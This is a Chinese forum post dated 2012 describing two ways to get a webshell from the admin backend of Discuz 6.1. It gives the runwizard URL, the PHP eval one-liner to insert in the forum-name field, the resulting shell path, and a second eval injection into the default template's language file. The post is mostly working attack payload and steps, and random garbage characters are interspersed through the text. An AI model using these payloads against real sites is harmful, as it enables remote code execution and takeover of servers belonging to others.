discuz6.1两种方法后台拿shell4 _8 Z+ R# Y( i# e) x
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下. l' i9 r& r0 D# h- R
1:) ^* S3 X1 X; q3 L, Y" A. p
http://127.0.0.1/discuz/admincp. ... zard&frames=yes( Q" q# S( g" p/ `" P4 M( r& H3 S
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell8 K+ X, S- _% W: s
<?php eval($_POST[cmd]);?>
9 X( D" X2 L; D$ s后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
( p- b* g- h( j% @) M# p- |4 X" D3 B/ y& S3 [, {6 Y3 M
5 d3 w H" V7 e3 m3 [2:后台模板管理--默认模板套系--详情
* g- l$ k. C; e/ g4 b$ Ttemplates/default/actions.lang.php4 c. q: p; ~' v: T) o
jhackj\\');eval($_POST[cmd])?>;//
) j- f8 Y1 |/ _2 m3 E
& r/ X5 p8 k4 L+ W' Z1 M' s" r利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对